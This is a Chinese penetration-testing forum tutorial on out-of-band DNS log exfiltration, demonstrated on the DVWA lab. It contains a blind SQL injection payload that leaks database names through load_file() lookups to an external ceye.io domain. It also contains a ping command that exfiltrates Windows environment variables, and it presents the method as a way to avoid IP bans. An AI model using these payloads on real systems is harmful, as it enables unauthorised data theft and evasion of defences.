一、前言
本文屬i春秋原創獎勵計劃,未經許可禁止轉載!
畢業設計總算搞得差不多了,這個心累啊。
這不,完成了學校的任務,趕緊回來給蛋總交作業。
今天給大家分享一個姿勢吧,不是什麼新東西,但比較少見——用DNS log來獲取回顯。
大家在滲透測試的時候可能會遇到一下這些情況:
-
挖到一個有SQL盲注的站點,可是用sqlmap跑需要頻繁請求,最後導致ip被ban
-
發現疑似命令注入的洞,但是目標站點什麼也不顯示,無法確認是不是有洞
總之就是目標不讓信息顯示出來,如果能發送請求,那麼就可以嘗試咱這個辦法——用DNS log來獲取回顯
二、正文
2.1 初探門路
DNS在解析的時候會留下日誌,咱們這個就是讀取多級域名的解析日誌,來獲取信息 簡單來說就是把信息放在高級域名中,傳遞到自己這,然後讀取日誌,獲取信息
例如我們自己的域名是:vk.org 那麼我們把信息放在二級域名處,textxxxxxx.vk.org 想方法發起這個域名解析請求,那麼那邊就能收到textxxxxxxx這個信息了。
如果沒有自己的vps,沒有相關條件怎麼辦? 網上也有不少這樣的dnslog平臺 這裏推薦一個免費的:http://ceye.io 註冊之後如圖 他會給你一個三級域名,你把信息寫在第四級域名上就好了 例如我這裏直接瀏覽器訪問:ichunqiu_vk.xxxx.ceye.io
顯示not found,沒關係回去doslog平臺看看: 可以看到信息傳進來了。
2.2 在SQL注入中的運用
這裏就使用 DVWA做環境了 他裏面就有盲注模塊,簡單來檢測注入點, 這裏不做解釋了,不懂的去看看我以前的sql注入帖子: https://bbs.ichunqiu.com/thread-18284-1-1.html 可以看到,這裏存在注入點,可惜是盲注,無法看到詳細信息 盲注的利用方法,大家應該都知道,要麼用邏輯法,要麼用延時法 總之就是要一個字符一個字符去猜,要發送大量的get請求,
那麼這種行爲很容易被目標物理防火牆認定位是黑客行爲 最終導致IP被ban
如果利用dnsLog來獲取信息,既高效又避免這種情況發生 先看看效果:
成功獲取當前查詢的數據庫名稱。
是不是很方便
深入分析:
我們看看payload:
?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,1)--+
首先用and拼接兩個條件,
if()函數用法:if((a=b),1,0),判斷a=b是否爲真,若真,則輸出第二個參數(即1),否則輸出低三個參數(即0)
而if在這裏並不重要。
重點在於 load_file()
放這幅圖,你們感受一下
load_file():
讀取文件並返回文件內容爲字符串。要使用此函數,文件必須位於服務器主機上,必須指定完整路徑的文件,而且必須有FILE權限。 該文件所有字節可讀,但文件內容必須小於max_allowed_packet。
這個函數也可以用來發送dns解析請求,這就是關鍵
利用payload是:load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))
concat是字符串拼接
綠色部分就是你要做SQL注入查詢的地方
天藍色就是你的dnslog平臺給你的域名
後面的abc可以改也可以不改,無所謂的,你樂意寫啥就寫啥
怎麼利用?
例如你要查看數據庫系統有什麼數據庫則把綠色部分改成:select schema_name from
information_schema.schemata limit 0,1
要注意的是數據很可能不止一行,因此要用limit分次輸出
如圖:
因爲vk之前有做過測試,爲了和之前不一樣 我加了個-new
如圖,已經把第一行數據脫出來了,bwapp
接着第二行、第三行只需要修改limit 1,1 limit 2,1即可
這樣就能高效的進行盲注 就相當於給盲注帶上眼鏡
2.3 在命令注入中的運用
發現疑似命令注入的洞,但是目標站點什麼也不顯示,無法確認是不是有洞
如果是win系統,簡單的ping %os%.xxxx.cete.io 即可 這裏也是用dvwa的命令注入做演示 看看dnslog那邊: 得到了os的信息,那麼就說明這裏存在命令注入
這裏給大家一個win的常用變量吧
-
//變量 類型 描述
-
//%ALLUSERSPROFILE% 本地 返回“所有用戶”配置文件的位置。
-
//%APPDATA% 本地 返回默認情況下應用程序存儲數據的位置。
-
//%CD% 本地 返回當前目錄字符串。
-
//%CMDCMDLINE% 本地 返回用來啓動當前的 Cmd.exe 的準確命令行。
-
//%CMDEXTVERSION% 系統 返回當前的“命令處理程序擴展”的版本號。
-
//%COMPUTERNAME% 系統 返回計算機的名稱。
-
//%COMSPEC% 系統 返回命令行解釋器可執行程序的準確路徑。
-
//%DATE% 系統 返回當前日期。使用與 date /t 命令相同的格式。由 Cmd.exe 生成。有關 date 命令的詳細信息,請參閱 Date。
-
//%ERRORLEVEL% 系統 返回上一條命令的錯誤代碼。通常用非零值表示錯誤。
-
//%HOMEDRIVE% 系統 返回連接到用戶主目錄的本地工作站驅動器號。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
-
//%HOMEPATH% 系統 返回用戶主目錄的完整路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
-
//%HOMESHARE% 系統 返回用戶的共享主目錄的網絡路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
-
//%LOGONSERVER% 本地 返回驗證當前登錄會話的域控制器的名稱。
-
//%NUMBER_OF_PROCESSORS% 系統 指定安裝在計算機上的處理器的數目。
-
//%OS% 系統 返回操作系統名稱。Windows 2000 顯示其操作系統爲 Windows_NT。
-
//%PATH% 系統 指定可執行文件的搜索路徑。
-
//%PATHEXT% 系統 返回操作系統認爲可執行的文件擴展名的列表。
-
//%PROCESSOR_ARCHITECTURE% 系統 返回處理器的芯片體系結構。值:x86 或 IA64(基於 Itanium)。
-
//%PROCESSOR_IDENTFIER% 系統 返回處理器說明。
-
//%PROCESSOR_LEVEL% 系統 返回計算機上安裝的處理器的型號。
-
//%PROCESSOR_REVISION% 系統 返回處理器的版本號。
-
//%PROMPT% 本地 返回當前解釋程序的命令提示符設置。由 Cmd.exe 生成。
-
//%RANDOM% 系統 返回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。
-
//%SYSTEMDRIVE% 系統 返回包含 Windows server operating system 根目錄(即系統根目錄)的驅動器。
-
//%SYSTEMROOT% 系統 返回 Windows server operating system 根目錄的位置。
-
//%TEMP%和%TMP% 系統和用戶 返回對當前登錄用戶可用的應用程序所使用的默認臨時目錄。有些應用程序需要 TEMP,而其他應用程序則需要 TMP。
-
//%TIME% 系統 返回當前時間。使用與 time /t 命令相同的格式。由 Cmd.exe 生成。有關
time 命令的詳細信息,請參閱 Time。
-
//%USERDOMAIN% 本地 返回包含用戶帳戶的域的名稱。
-
//%USERNAME% 本地 返回當前登錄的用戶的名稱。
-
//%USERPROFILE% 本地 返回當前用戶的配置文件的位置。
-
//%WINDIR% 系統 返回操作系統目錄的位置。
如果目標系統是linux的話,則可用用shell語言來挑選,那就更加方便了 兩幅圖 自己感受一下:
第一個是查出該系統用戶使用最多的命令,第二個則是使用第二多的命令
分別是figlet和ls
三、結束語
學無止境,誠惶誠恐,這個dnslog真能算一個小神器
吐司上也有這樣的平臺,但不太好使,問了問管理 他說湊活用吧。。。。。
|
|